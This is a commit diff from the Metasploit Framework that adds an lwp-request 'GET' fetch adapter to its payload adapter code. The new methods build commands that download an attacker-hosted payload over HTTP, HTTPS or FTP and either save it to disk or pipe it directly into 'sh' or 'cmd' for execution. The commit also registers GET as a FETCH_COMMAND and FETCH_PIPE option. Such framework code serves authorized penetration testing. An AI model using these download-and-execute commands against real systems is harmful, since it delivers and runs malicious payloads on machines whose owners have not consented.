Skip to content

Commit d0f0b35

Browse files
committed
Msf::Payload::Adapter::Fetch: Add lwp-request GET fetch adapter
1 parent 31b9dcd commit d0f0b35

File tree

2 files changed

+44
-3
lines changed

2 files changed

+44
-3
lines changed

lib/msf/core/payload/adapter/fetch.rb

Lines changed: 42 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -86,7 +86,7 @@ def fetch_bindnetloc
8686
def pipe_supported_binaries
8787
# this is going to expand when we add psh support
8888
return %w[CURL] if windows?
89-
%w[WGET CURL]
89+
%w[WGET GET CURL]
9090
end
9191

9292
def generate(opts = {})
@@ -115,6 +115,8 @@ def generate_pipe_command
115115
case datastore['FETCH_COMMAND'].upcase
116116
when 'WGET'
117117
return _generate_wget_pipe
118+
when 'GET'
119+
return _generate_get_pipe
118120
when 'CURL'
119121
return _generate_curl_pipe
120122
else
@@ -132,6 +134,8 @@ def generate_fetch_commands
132134
return _generate_tnftp_command
133135
when 'WGET'
134136
return _generate_wget_command
137+
when 'GET'
138+
return _generate_get_command
135139
when 'CURL'
136140
return _generate_curl_command
137141
when 'TFTP'
@@ -336,6 +340,43 @@ def _generate_curl_pipe
336340
end
337341
end
338342

343+
def _generate_get_command
344+
# Specifying the method (-m GET) is necessary on OSX
345+
case fetch_protocol
346+
when 'HTTP'
347+
get_file_cmd = "GET -m GET http://#{download_uri}>#{_remote_destination}"
348+
when 'HTTPS'
349+
# There is no way to disable cert check in GET ...
350+
print_error('GET binary does not support insecure mode')
351+
fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using GET')
352+
get_file_cmd = "GET -m GET https://#{download_uri}>#{_remote_destination}"
353+
when 'FTP'
354+
get_file_cmd = "GET ftp://#{download_uri}>#{_remote_destination}"
355+
else
356+
fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
357+
end
358+
_execute_add(get_file_cmd)
359+
end
360+
361+
def _generate_get_pipe
362+
# Specifying the method (-m GET) is necessary on OSX
363+
execute_cmd = 'sh'
364+
execute_cmd = 'cmd' if windows?
365+
case fetch_protocol
366+
when 'HTTP'
367+
return "GET -m GET http://#{_download_pipe}|#{execute_cmd}"
368+
when 'HTTPS'
369+
# There is no way to disable cert check in GET ...
370+
print_error('GET binary does not support insecure mode')
371+
fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using GET')
372+
return "GET -m GET https://#{_download_pipe}|#{execute_cmd}"
373+
when 'FTP'
374+
return "GET ftp://#{_download_pipe}|#{execute_cmd}"
375+
else
376+
fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
377+
end
378+
end
379+
339380
def _generate_ftp_command
340381
case fetch_protocol
341382
when 'FTP'

lib/msf/core/payload/adapter/fetch/linux_options.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -3,10 +3,10 @@ def initialize(info = {})
33
super
44
register_options(
55
[
6-
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL FTP TFTP TNFTP WGET]]),
6+
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL FTP GET TFTP TNFTP WGET]]),
77
Msf::OptEnum.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8','none', ['none','bash','python3.8+']]),
88
Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}, conditions: ['FETCH_FILELESS', '==', 'none']),
9-
Msf::OptBool.new('FETCH_PIPE', [true, 'Host both the binary payload and the command so it can be piped directly to the shell.', false], conditions: ['FETCH_COMMAND', 'in', %w[CURL WGET]]),
9+
Msf::OptBool.new('FETCH_PIPE', [true, 'Host both the binary payload and the command so it can be piped directly to the shell.', false], conditions: ['FETCH_COMMAND', 'in', %w[CURL GET WGET]]),
1010
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', './'], regex: /^\S*$/, conditions: ['FETCH_FILELESS', '==', 'none'])
1111
]
1212
)

0 commit comments

Comments
 (0)